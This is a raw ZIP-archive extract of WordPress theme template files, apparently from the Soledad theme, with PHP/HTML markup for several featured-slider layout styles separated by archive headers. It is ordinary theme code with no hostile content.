						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 4 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ( $i % 4 == 1 || get_theme_mod( 'penci_featured_show_categories' ) ) && ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $i % 4 == 1 || $i % 4 == 2 ): ?>
									<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                        <div class="feat-meta">
											<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                                <span class="feat-comments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 4 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     /w\Bg      featured_slider/style-1.phpnu [        <?php
/**
 * Template part for Slider Style 1
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 20;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-slider-thumb';

$image_size_mobile = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>

    <div class="item swiper-slide swiper-mark-item">
    	
		<?php do_action( 'penci_bookmark_post' ); ?>
		<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
            <div class="penci-swiper-mask penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
               data-bgset="<?php echo penci_image_srcset( get_the_ID(), $image_size, $image_size_mobile ); ?>"
               data-href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } else { ?>
            <div class="penci-swiper-mask penci-image-holder"
               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_mobile : $image_size ); ?>');"
               data-href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } ?>
		<?php if ( ! get_theme_mod( 'penci_featured_center_box' ) ): ?>
            <div class="penci-featured-content">
                <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
                    <div class="featured-slider-overlay"></div>
					<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
					<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                        <div class="feat-meta">
							<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
							<?php endif; ?>
							<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
							<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                <span class="feat-comments"><a
                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
							<?php endif; ?>
                            <?php do_action( 'penci_extra_meta' ); ?>
                        </div>
					<?php endif; ?>
                </div>
            </div>
		<?php endif; ?>
		</div>
    </div>

	<?php $list_post_ids[] = get_the_ID(); ?>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     /w\0  0    featured_slider/style-40.phpnu [        <?php
/**
 * Template part for Slider Style 40
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}

$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 20;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-single-full';
if ( penci_is_mobile() ) {
	$image_size = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';
}
?>
<div class="slider-40-wrapper">
    <div class="img-blur-container">
        <div class="container-bg-slider-40">
			<?php
			$count = 0;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$ft_class = $count ++ == 0 ? ' current' : '';
				?>
                <div data-index="<?php echo $count;?>" class="item-bg-slider-40 <?php echo $ft_class; ?>">
                    <div class="item-bg-slider-40-content">
						<?php if ( get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                            <div style="background-image: url(<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>);"
                                 class="picturefill-background fill clip bg-img-slider-40-behind"></div>
						<?php } else { ?>
                            <div data-bgset="<?php echo penci_image_srcset( get_the_ID(), $image_size ); ?>"
                                 class="<?php echo penci_classes_slider_lazy(); ?> picturefill-background fill clip bg-img-slider-40-behind"></div>
						<?php } ?>
                    </div>
                </div>
			<?php endwhile; ?>
        </div>
    </div>
    <div class="container-slider-40">
        <div class="galery-slider-40">
            <div class="slider-creative">
                <div class="nav-slider-slider-40 nav-slider hidden-xs">
                    <button id="prev-hl" class="btn-reset nav-slider-button prev-button waves-effect"><i
                                class="penciicon-left-chevron"></i></button>
                    <button id="next-hl" class="btn-reset nav-slider-button next-button waves-effect"><i
                                class="penciicon-right-chevron"></i></button>
                </div>
                <div class="list-slider-creative">

					<?php while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                        <div class="item-slider-creative">
                            <div class="content-item-creative">
                                <div class="main-slide penci-43-slider-item content-item-creative">
									<?php if ( get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                                        <div style="background-image: url(<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>);"
                                             class="picturefill-background fill clip img-container"></div>
									<?php } else { ?>
                                        <div data-bgset="<?php echo penci_image_srcset( get_the_ID(), $image_size ); ?>"
                                             class="<?php echo penci_classes_slider_lazy(); ?> picturefill-background fill clip img-container"></div>
									<?php } ?>
                                    <div>
										<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                                            <div class="cat featured-cat number-tv small-title-opa"><?php penci_category( '' ); ?></div>
										<?php endif; ?>
                                        <h3 class="title-part white-title"><a
                                                    title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                                    href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                        </h3>
										<?php if ( ( get_the_excerpt() && ! get_theme_mod( 'penci_featured_meta_excerpt' ) ) || ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <div class="feat-meta penci-fslider-fmeta">
												<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                                    <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                                href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
												<?php endif; ?>
												<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                                    <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
												<?php endif; ?>
												<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                                    <span class="feat-comments"><a
                                                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
												<?php endif; ?>
                                                <?php do_action( 'penci_extra_meta' ); ?>
                                            </div>
											<?php if ( get_the_excerpt() && ! get_theme_mod( 'penci_featured_meta_excerpt' ) ): ?>
                                                <div class="featured-slider-excerpt">
                                                    <p><?php $excerpt = get_the_excerpt();
														echo wp_trim_words( $excerpt, 20, '...' ); ?></p></div>
											<?php endif; ?>
										<?php endif; ?>
                                        <div class="penci-featured-slider-button">
                                            <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
					<?php endwhile; ?>
                </div>
            </div>
        </div>
    </div>
    <div class="container-thumb-creative">
        <div class="swiper nav-thumb-creative penci-owl-carousel penci-owl-carousel-slider no-df" data-item="4"
             data-desktop="4" data-loop="false" data-nav="false" data-thumb="yes">
            <div class="swiper-wrapper">
				<?php
				$countz = 0;
				while ( $feat_query->have_posts() ) : $feat_query->the_post();
					$ftz_class = $countz ++ == 0 ? ' current' : '';
					?>
                    <div class="swiper-slide">
                        <div class="swiper-slide-inner">
                            <a data-index="<?php echo $countz; ?>" href="<?php the_permalink() ?>"
                               class="thumb-container<?php echo $ftz_class; ?>">
								<?php if ( get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                                    <span class="penci-image-holder"
                                          style="background-image: url(<?php echo penci_get_featured_image_size( get_the_ID(), 'penci-masonry-thumb' ); ?>);"></span>
								<?php } else { ?>
                                    <span data-bgset="<?php echo penci_image_srcset( get_the_ID(), 'penci-masonry-thumb' ); ?>"
                                          class="<?php echo penci_classes_slider_lazy(); ?> penci-image-holder"></span>
								<?php } ?>
                            </a>
                        </div>
                    </div>
				<?php endwhile; ?>
            </div>
        </div>
    </div>
</div>PK     /w\Z@P
  P
    featured_slider/style-29.phpnu [         <?php
/**
 * Template part for Slider Style 29
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 20;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-slider-full-thumb';

	$image_size_m = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
    <div class="item swiper-slide swiper-mark-item">
	    <?php do_action( 'penci_bookmark_post' ); ?>
		<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
            <div class="penci-swiper-mask penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
               data-bgset="<?php echo penci_image_srcset( get_the_ID(), $image_size,$image_size_m ); ?>"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } else { ?>
            <div class="penci-swiper-mask penci-image-holder"
               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_m : $image_size ); ?>');"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } ?>
        <a href="<?php the_permalink() ?>" class="featured-slider-overlay"></a>
		<?php if ( ! get_theme_mod( 'penci_featured_center_box' ) ): ?>
            <div class="penci-featured-content">
                <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
					<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
                    <div class="penci-featured-slider-button">
                        <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                    </div>
                </div>
            </div>
		<?php endif; ?>
    </div>
    </div>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     /w\!Jy      featured_slider/style-39.phpnu [        <?php
/**
 * Template part for Slider Style 39
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-full-thumb';
if ( penci_is_mobile() ) {
	$image_size = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-full-thumb';
}
$main_id  = 'fsm_' . rand();
$thumb_id = 'fst_' . rand();
?>
<div class="penci-slider39-thumb penci-owl-carousel penci-owl-carousel-slider swiper" data-item="5"
     data-direction="vertical" data-desktop="5" data-tablet="3" data-margin="30" data-id="<?php echo $thumb_id; ?>"
     data-thumb="yes" data-height="true" data-loop="true">
    <div class="penci-slider39-thumb-inner swiper-wrapper">
		<?php $thumbcount = 0;
		if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
            <div class="item swiper-slide owl-thumb-item">

                <div class="penci-image-holder"
                     style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
                     href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></div>
                <h3><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></h3>

            </div>
		<?php endwhile;
			wp_reset_postdata(); endif; ?>
    </div>
</div>
<div class="penci-slider39-main penci-owl-carousel penci-owl-carousel-slider swiper" data-nav="false" data-loop="true"
     data-thumbs-id="<?php echo $thumb_id; ?>" data-id="<?php echo $main_id; ?>">
    <div class="swiper-wrapper">
		<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
            <div class="item swiper-slide">
                <a class="penci-slider39-overlay" aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                   href="<?php the_permalink(); ?>"></a>
                <div class="item-inner-content">
                    <a class="penci-image-holder"
                       style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
                       href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>

					<?php if ( ! get_theme_mod( 'penci_featured_center_box' ) ): ?>
                        <div class="penci-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a href="<?php the_permalink() ?>"
                                       title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ( get_the_excerpt() && ! get_theme_mod( 'penci_featured_meta_excerpt' ) ) || ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                    <div class="feat-meta">
										<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php if ( get_the_excerpt() && ! get_theme_mod( 'penci_featured_meta_excerpt' ) ): ?>
                                            <div class="featured-slider-excerpt"><p><?php $excerpt = get_the_excerpt();
													echo wp_trim_words( $excerpt, 20, '...' ); ?></p></div>
										<?php endif; ?>
                                        <?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                                <div class="penci-featured-slider-button">
                                    <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                                </div>
                            </div>
                        </div>
					<?php endif; ?>
                </div>
            </div>
		<?php endwhile;
			wp_reset_postdata(); endif; ?>
    </div>
</div>PK     /w\Bg      featured_slider/style-45.phpnu [        <?php
/**
 * Template part for Slider Style 1
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 20;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-slider-thumb';

$image_size_mobile = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>

    <div class="item swiper-slide swiper-mark-item">
    	
		<?php do_action( 'penci_bookmark_post' ); ?>
		<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
            <div class="penci-swiper-mask penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
               data-bgset="<?php echo penci_image_srcset( get_the_ID(), $image_size, $image_size_mobile ); ?>"
               data-href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } else { ?>
            <div class="penci-swiper-mask penci-image-holder"
               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_mobile : $image_size ); ?>');"
               data-href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } ?>
		<?php if ( ! get_theme_mod( 'penci_featured_center_box' ) ): ?>
            <div class="penci-featured-content">
                <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
                    <div class="featured-slider-overlay"></div>
					<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
					<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                        <div class="feat-meta">
							<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
							<?php endif; ?>
							<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
							<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                <span class="feat-comments"><a
                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
							<?php endif; ?>
                            <?php do_action( 'penci_extra_meta' ); ?>
                        </div>
					<?php endif; ?>
                </div>
            </div>
		<?php endif; ?>
		</div>
    </div>

	<?php $list_post_ids[] = get_the_ID(); ?>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     /w\[|      featured_slider/style-16.phpnu [        <?php
/**
 * Template part for Slider Style 16
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb-vertical';
$image_size_big      = get_theme_mod( 'featured_slider_imgbig' ) ? get_theme_mod( 'featured_slider_imgbig' ) : 'penci-magazine-slider';

	$image_size_mobile = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $image_size;
				if ( $i % 3 == 2 && ! penci_is_mobile() ): $thumb = $image_size_big; endif;
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 3 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$thumb,$image_size_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>

                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 3 == 2 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) && get_theme_mod( 'penci_featured_show_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                    <div class="feat-meta">
										<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 3 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     /w\E      featured_slider/style-22.phpnu [        <?php
/**
 * Template part for Slider Style 22
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb';
$image_size_big      = get_theme_mod( 'featured_slider_imgbig' ) ? get_theme_mod( 'featured_slider_imgbig' ) : 'penci-magazine-slider';
if ( penci_is_mobile() ) {
	$image_size_big = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';
	$image_size     = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-thumb-small';
}
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $image_size;
				if ( ( $i % 7 == 1 || $i % 7 == 2 ) && ! penci_is_mobile() ): $thumb = $image_size_big; endif;
				$sizep = 'small';
				if ( $i % 7 == 1 || $i % 7 == 2 ): $sizep = 'normal'; endif;
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 7 ); ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
